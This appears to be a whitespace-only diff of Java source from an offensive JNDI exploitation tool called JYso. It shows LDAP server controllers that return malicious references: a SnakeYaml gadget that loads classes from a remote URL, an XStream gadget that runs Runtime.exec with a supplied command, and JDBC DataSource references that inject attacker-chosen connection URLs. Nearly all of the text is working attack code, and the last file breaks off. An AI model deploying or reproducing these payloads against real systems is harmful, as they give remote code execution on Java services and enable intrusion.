ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
|
||||||
true, "org.apache.naming.factory.BeanFactory", null);
|
true, "org.apache.naming.factory.BeanFactory", null);
|
||||||
String yaml = "!!javax.script.ScriptEngineManager [\n" +
|
String yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||||
" !!java.net.URLClassLoader [[\n" +
|
" !!java.net.URLClassLoader [[\n" +
|
||||||
" !!java.net.URL [\"" + params[0] + "\"]\n" +
|
" !!java.net.URL [\"" + params[0] + "\"]\n" +
|
||||||
" ]]\n" +
|
" ]]\n" +
|
||||||
"]";
|
"]";
|
||||||
ref.add(new StringRefAddr("forceString", "a=load"));
|
ref.add(new StringRefAddr("forceString", "a=load"));
|
||||||
ref.add(new StringRefAddr("a", yaml));
|
ref.add(new StringRefAddr("a", yaml));
|
||||||
e.addAttribute("javaSerializedData", Utils.serialize(ref));
|
e.addAttribute("javaSerializedData", Utils.serialize(ref));
|
||||||
result.sendSearchEntry(e);
|
result.sendSearchEntry(e);
|
||||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||||
System.out.println("- JNDI LDAP Local Reference Links + SnakeYaml");
|
System.out.println("- JNDI LDAP Local Reference Links + SnakeYaml");
|
||||||
try {
|
try {
|
||||||
base = base.replace('\\', '/');
|
base = base.replace('\\', '/');
|
||||||
int fistIndex = base.indexOf("/");
|
int fistIndex = base.indexOf("/");
|
||||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||||
if (secondIndex < 0) secondIndex = base.length();
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||||
|
|
||||||
if (thirdIndex != -1) {
|
if (thirdIndex != -1) {
|
||||||
try {
|
try {
|
||||||
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||||
} catch (IllegalArgumentException e) {
|
} catch (IllegalArgumentException e) {
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (gadgetType == GadgetType.base64) {
|
if (gadgetType == GadgetType.base64) {
|
||||||
String cmd = Utils.getCmdFromBase(base);
|
String cmd = Utils.getCmdFromBase(base);
|
||||||
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
|
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
|
||||||
params = new String[]{cmd};
|
params = new String[]{cmd};
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,92 +1,92 @@
|
|||||||
package com.qi4l.JYso.controllers;
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
import com.unboundid.ldap.sdk.Entry;
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
import com.unboundid.ldap.sdk.LDAPResult;
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
import com.unboundid.ldap.sdk.ResultCode;
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
import org.apache.naming.ResourceRef;
|
import org.apache.naming.ResourceRef;
|
||||||
import org.fusesource.jansi.Ansi;
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
import javax.naming.StringRefAddr;
|
import javax.naming.StringRefAddr;
|
||||||
|
|
||||||
@LdapMapping(uri = {"/xstream"})
|
@LdapMapping(uri = {"/xstream"})
|
||||||
public class XStreamController implements LdapController {
|
public class XStreamController implements LdapController {
|
||||||
private String[] params;
|
private String[] params;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
Entry e = new Entry(base);
|
Entry e = new Entry(base);
|
||||||
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||||
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
|
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
|
||||||
true, "org.apache.naming.factory.BeanFactory", null);
|
true, "org.apache.naming.factory.BeanFactory", null);
|
||||||
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
|
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
|
||||||
" <unserializable-parents/>\n" +
|
" <unserializable-parents/>\n" +
|
||||||
" <java.util.PriorityQueue>\n" +
|
" <java.util.PriorityQueue>\n" +
|
||||||
" <default>\n" +
|
" <default>\n" +
|
||||||
" <size>2</size>\n" +
|
" <size>2</size>\n" +
|
||||||
" </default>\n" +
|
" </default>\n" +
|
||||||
" <int>3</int>\n" +
|
" <int>3</int>\n" +
|
||||||
" <dynamic-proxy>\n" +
|
" <dynamic-proxy>\n" +
|
||||||
" <interface>java.lang.Comparable</interface>\n" +
|
" <interface>java.lang.Comparable</interface>\n" +
|
||||||
" <handler class='sun.tracing.NullProvider'>\n" +
|
" <handler class='sun.tracing.NullProvider'>\n" +
|
||||||
" <active>true</active>\n" +
|
" <active>true</active>\n" +
|
||||||
" <providerType>java.lang.Comparable</providerType>\n" +
|
" <providerType>java.lang.Comparable</providerType>\n" +
|
||||||
" <probes>\n" +
|
" <probes>\n" +
|
||||||
" <entry>\n" +
|
" <entry>\n" +
|
||||||
" <method>\n" +
|
" <method>\n" +
|
||||||
" <class>java.lang.Comparable</class>\n" +
|
" <class>java.lang.Comparable</class>\n" +
|
||||||
" <name>compareTo</name>\n" +
|
" <name>compareTo</name>\n" +
|
||||||
" <parameter-types>\n" +
|
" <parameter-types>\n" +
|
||||||
" <class>java.lang.Object</class>\n" +
|
" <class>java.lang.Object</class>\n" +
|
||||||
" </parameter-types>\n" +
|
" </parameter-types>\n" +
|
||||||
" </method>\n" +
|
" </method>\n" +
|
||||||
" <sun.tracing.dtrace.DTraceProbe>\n" +
|
" <sun.tracing.dtrace.DTraceProbe>\n" +
|
||||||
" <proxy class='java.lang.Runtime'/>\n" +
|
" <proxy class='java.lang.Runtime'/>\n" +
|
||||||
" <implementing__method>\n" +
|
" <implementing__method>\n" +
|
||||||
" <class>java.lang.Runtime</class>\n" +
|
" <class>java.lang.Runtime</class>\n" +
|
||||||
" <name>exec</name>\n" +
|
" <name>exec</name>\n" +
|
||||||
" <parameter-types>\n" +
|
" <parameter-types>\n" +
|
||||||
" <class>java.lang.String</class>\n" +
|
" <class>java.lang.String</class>\n" +
|
||||||
" </parameter-types>\n" +
|
" </parameter-types>\n" +
|
||||||
" </implementing__method>\n" +
|
" </implementing__method>\n" +
|
||||||
" </sun.tracing.dtrace.DTraceProbe>\n" +
|
" </sun.tracing.dtrace.DTraceProbe>\n" +
|
||||||
" </entry>\n" +
|
" </entry>\n" +
|
||||||
" </probes>\n" +
|
" </probes>\n" +
|
||||||
" </handler>\n" +
|
" </handler>\n" +
|
||||||
" </dynamic-proxy>\n" +
|
" </dynamic-proxy>\n" +
|
||||||
" <string>" + params[0] + "</string>\n" +
|
" <string>" + params[0] + "</string>\n" +
|
||||||
" </java.util.PriorityQueue>\n" +
|
" </java.util.PriorityQueue>\n" +
|
||||||
"</java.util.PriorityQueue>";
|
"</java.util.PriorityQueue>";
|
||||||
ref.add(new StringRefAddr("forceString", "a=fromXML"));
|
ref.add(new StringRefAddr("forceString", "a=fromXML"));
|
||||||
ref.add(new StringRefAddr("a", xml));
|
ref.add(new StringRefAddr("a", xml));
|
||||||
e.addAttribute("javaSerializedData", Utils.serialize(ref));
|
e.addAttribute("javaSerializedData", Utils.serialize(ref));
|
||||||
result.sendSearchEntry(e);
|
result.sendSearchEntry(e);
|
||||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||||
System.out.println("- JNDI LDAP Local Refenrence Links + XStream");
|
System.out.println("- JNDI LDAP Local Refenrence Links + XStream");
|
||||||
try {
|
try {
|
||||||
int firstIndex = base.indexOf("/");
|
int firstIndex = base.indexOf("/");
|
||||||
int secondIndex = base.indexOf("/", firstIndex + 1);
|
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||||
if (secondIndex < 0) secondIndex = base.length();
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
String payloadType = base.substring(firstIndex + 1, secondIndex);
|
String payloadType = base.substring(firstIndex + 1, secondIndex);
|
||||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
|
||||||
|
|
||||||
String cmd = Utils.getCmdFromBase(base);
|
String cmd = Utils.getCmdFromBase(base);
|
||||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||||
params = new String[]{cmd};
|
params = new String[]{cmd};
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,96 +1,96 @@
|
|||||||
package com.qi4l.JYso.controllers;
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
import com.unboundid.ldap.sdk.Entry;
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
import com.unboundid.ldap.sdk.LDAPResult;
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
import com.unboundid.ldap.sdk.ResultCode;
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
import org.fusesource.jansi.Ansi;
|
import org.fusesource.jansi.Ansi;
|
||||||
import org.apache.logging.log4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.apache.logging.log4j.LogManager;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
@LdapMapping(uri = {"/jdbc1"})
|
@LdapMapping(uri = {"/jdbc1"})
|
||||||
public class jdbcController1 implements LdapController {
|
public class jdbcController1 implements LdapController {
|
||||||
|
|
||||||
private static final Logger log = LogManager.getLogger(jdbcController1.class);
|
private static final Logger log = LogManager.getLogger(jdbcController1.class);
|
||||||
private static String driverq;
|
private static String driverq;
|
||||||
|
|
||||||
private static String factoryType;
|
private static String factoryType;
|
||||||
private static String[] params;
|
private static String[] params;
|
||||||
private static GadgetType gadgetType;
|
private static GadgetType gadgetType;
|
||||||
|
|
||||||
public static void printResultJDBC1(String base) throws Exception {
|
public static void printResultJDBC1(String base) throws Exception {
|
||||||
base = base.replace('\\', '/');
|
base = base.replace('\\', '/');
|
||||||
int fistIndex = base.indexOf("/");
|
int fistIndex = base.indexOf("/");
|
||||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||||
if (secondIndex < 0) secondIndex = base.length();
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
try {
|
try {
|
||||||
driverq = base.substring(fistIndex + 1, secondIndex);
|
driverq = base.substring(fistIndex + 1, secondIndex);
|
||||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset());
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset());
|
||||||
} catch (IllegalArgumentException e) {
|
} catch (IllegalArgumentException e) {
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||||
}
|
}
|
||||||
|
|
||||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||||
if (thirdIndex < 0) thirdIndex = base.length();
|
if (thirdIndex < 0) thirdIndex = base.length();
|
||||||
|
|
||||||
try {
|
try {
|
||||||
factoryType = base.substring(secondIndex + 1, thirdIndex);
|
factoryType = base.substring(secondIndex + 1, thirdIndex);
|
||||||
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
|
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
|
||||||
} catch (IllegalArgumentException e) {
|
} catch (IllegalArgumentException e) {
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||||
}
|
}
|
||||||
|
|
||||||
int fourthIndex = base.indexOf("/", thirdIndex + 1);
|
int fourthIndex = base.indexOf("/", thirdIndex + 1);
|
||||||
|
|
||||||
if (fourthIndex != -1) {
|
if (fourthIndex != -1) {
|
||||||
try {
|
try {
|
||||||
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
|
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
|
||||||
} catch (IllegalArgumentException e) {
|
} catch (IllegalArgumentException e) {
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (gadgetType == GadgetType.base64) {
|
if (gadgetType == GadgetType.base64) {
|
||||||
String cmd = Utils.getCmdFromBase(base);
|
String cmd = Utils.getCmdFromBase(base);
|
||||||
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
|
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
|
||||||
params = new String[]{cmd};
|
params = new String[]{cmd};
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
try {
|
try {
|
||||||
Entry e = new Entry(base);
|
Entry e = new Entry(base);
|
||||||
String driver = driverq;
|
String driver = driverq;
|
||||||
String JDBC_URL = params[0];
|
String JDBC_URL = params[0];
|
||||||
|
|
||||||
e.addAttribute("objectClass", "javaNamingReference");
|
e.addAttribute("objectClass", "javaNamingReference");
|
||||||
e.addAttribute("javaClassName", "javax.sql.DataSource");
|
e.addAttribute("javaClassName", "javax.sql.DataSource");
|
||||||
e.addAttribute("javaFactory", factoryType);
|
e.addAttribute("javaFactory", factoryType);
|
||||||
e.addAttribute("javaReferenceAddress", "/0/url/" + JDBC_URL, "/1/driverClassName/" + driver, "/2/username/Squirt1e", "/3/password/Squirt1e", "/4/initialSize/1");
|
e.addAttribute("javaReferenceAddress", "/0/url/" + JDBC_URL, "/1/driverClassName/" + driver, "/2/username/Squirt1e", "/3/password/Squirt1e", "/4/initialSize/1");
|
||||||
|
|
||||||
result.sendSearchEntry(e);
|
result.sendSearchEntry(e);
|
||||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
} catch (Throwable er) {
|
} catch (Throwable er) {
|
||||||
System.err.println("Error while generating or serializing payload");
|
System.err.println("Error while generating or serializing payload");
|
||||||
log.error(String.valueOf(er));
|
log.error(String.valueOf(er));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||||
System.out.println("- JNDI JDBC Reference Links Target < JDK20");
|
System.out.println("- JNDI JDBC Reference Links Target < JDK20");
|
||||||
try {
|
try {
|
||||||
printResultJDBC1(base);
|
printResultJDBC1(base);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,113 +1,113 @@
|
|||||||
package com.qi4l.JYso.controllers;
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
import com.unboundid.ldap.sdk.Entry;
|
import com.unboundid.ldap.sdk.Entry;
|
||||||
import com.unboundid.ldap.sdk.LDAPResult;
|
import com.unboundid.ldap.sdk.LDAPResult;
|
||||||
import com.unboundid.ldap.sdk.ResultCode;
|
import com.unboundid.ldap.sdk.ResultCode;
|
||||||
import org.fusesource.jansi.Ansi;
|
import org.fusesource.jansi.Ansi;
|
||||||
import org.apache.logging.log4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.apache.logging.log4j.LogManager;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import javax.naming.RefAddr;
|
import javax.naming.RefAddr;
|
||||||
import javax.naming.Reference;
|
import javax.naming.Reference;
|
||||||
import javax.naming.StringRefAddr;
|
import javax.naming.StringRefAddr;
|
||||||
import java.util.Enumeration;
|
import java.util.Enumeration;
|
||||||
|
|
||||||
@LdapMapping(uri = {"/jdbc2"})
|
@LdapMapping(uri = {"/jdbc2"})
|
||||||
public class jdbcController2 implements LdapController {
|
public class jdbcController2 implements LdapController {
|
||||||
|
|
||||||
private static final Logger log = LogManager.getLogger(jdbcController2.class);
|
private static final Logger log = LogManager.getLogger(jdbcController2.class);
|
||||||
private static String payloadType;
|
private static String payloadType;
|
||||||
private static String factoryType;
|
private static String factoryType;
|
||||||
private static String[] params;
|
private static String[] params;
|
||||||
private static GadgetType gadgetType;
|
private static GadgetType gadgetType;
|
||||||
|
|
||||||
public static void printResultJDBC2(String base) throws Exception {
|
public static void printResultJDBC2(String base) throws Exception {
|
||||||
base = base.replace('\\', '/');
|
base = base.replace('\\', '/');
|
||||||
int fistIndex = base.indexOf("/");
|
int fistIndex = base.indexOf("/");
|
||||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||||
if (secondIndex < 0) secondIndex = base.length();
|
if (secondIndex < 0) secondIndex = base.length();
|
||||||
|
|
||||||
try {
|
try {
|
||||||
payloadType = base.substring(fistIndex + 1, secondIndex);
|
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
|
||||||
} catch (IllegalArgumentException e) {
|
} catch (IllegalArgumentException e) {
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||||
}
|
}
|
||||||
|
|
||||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||||
if (thirdIndex < 0) thirdIndex = base.length();
|
if (thirdIndex < 0) thirdIndex = base.length();
|
||||||
|
|
||||||
try {
|
try {
|
||||||
factoryType = base.substring(secondIndex + 1, thirdIndex);
|
factoryType = base.substring(secondIndex + 1, thirdIndex);
|
||||||
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
|
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
|
||||||
} catch (IllegalArgumentException e) {
|
} catch (IllegalArgumentException e) {
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||||
}
|
}
|
||||||
|
|
||||||
int fourthIndex = base.indexOf("/", thirdIndex + 1);
|
int fourthIndex = base.indexOf("/", thirdIndex + 1);
|
||||||
|
|
||||||
if (fourthIndex != -1) {
|
if (fourthIndex != -1) {
|
||||||
try {
|
try {
|
||||||
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
|
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
|
||||||
} catch (IllegalArgumentException e) {
|
} catch (IllegalArgumentException e) {
|
||||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (gadgetType == GadgetType.base64) {
|
if (gadgetType == GadgetType.base64) {
|
||||||
String cmd = Utils.getCmdFromBase(base);
|
String cmd = Utils.getCmdFromBase(base);
|
||||||
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
|
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
|
||||||
params = new String[]{cmd};
|
params = new String[]{cmd};
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||||
try {
|
try {
|
||||||
Entry e = new Entry(base);
|
Entry e = new Entry(base);
|
||||||
String driver = payloadType;
|
String driver = payloadType;
|
||||||
String JDBC_URL = params[0];
|
String JDBC_URL = params[0];
|
||||||
|
|
||||||
Reference ref = new Reference("javax.sql.DataSource", factoryType, null);
|
Reference ref = new Reference("javax.sql.DataSource", factoryType, null);
|
||||||
ref.add(new StringRefAddr("driverClassName", driver));
|
ref.add(new StringRefAddr("driverClassName", driver));
|
||||||
ref.add(new StringRefAddr("url", JDBC_URL));
|
ref.add(new StringRefAddr("url", JDBC_URL));
|
||||||
ref.add(new StringRefAddr("initialSize", "1"));
|
ref.add(new StringRefAddr("initialSize", "1"));
|
||||||
|
|
||||||
e.addAttribute("objectClass", "javaNamingReference");
|
e.addAttribute("objectClass", "javaNamingReference");
|
||||||
e.addAttribute("javaClassName", ref.getClassName());
|
e.addAttribute("javaClassName", ref.getClassName());
|
||||||
e.addAttribute("javaFactory", ref.getFactoryClassName());
|
e.addAttribute("javaFactory", ref.getFactoryClassName());
|
||||||
|
|
||||||
Enumeration<RefAddr> enumeration = ref.getAll();
|
Enumeration<RefAddr> enumeration = ref.getAll();
|
||||||
int sn = 0;
|
int sn = 0;
|
||||||
|
|
||||||
while (enumeration.hasMoreElements()) {
|
while (enumeration.hasMoreElements()) {
|
||||||
StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
|
StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
|
||||||
e.addAttribute("javaReferenceAddress", "#" + sn + "#" + addr.getType() + "#" + addr.getContent());
|
e.addAttribute("javaReferenceAddress", "#" + sn + "#" + addr.getType() + "#" + addr.getContent());
|
||||||
sn++;
|
sn++;
|
||||||
}
|
}
|
||||||
|
|
||||||
result.sendSearchEntry(e);
|
result.sendSearchEntry(e);
|
||||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||||
} catch (Throwable er) {
|
} catch (Throwable er) {
|
||||||
System.err.println("Error while generating or serializing payload");
|
System.err.println("Error while generating or serializing payload");
|
||||||
log.error(String.valueOf(er));
|
log.error(String.valueOf(er));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||||
System.out.println("- JNDI JDBC Reference Links Target < JDK20");
|
System.out.println("- JNDI JDBC Reference Links Target < JDK20");
|
||||||
try {
|
try {
|
||||||
printResultJDBC2(base);
|
printResultJDBC2(base);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||||
|
|
||||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,44 +1,44 @@
|
|||||||
package com.qi4l.JYso.controllers;
|
package com.qi4l.JYso.controllers;
|
||||||
|
|
||||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
import com.qi4l.JYso.gadgets.Config.Config;
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||||
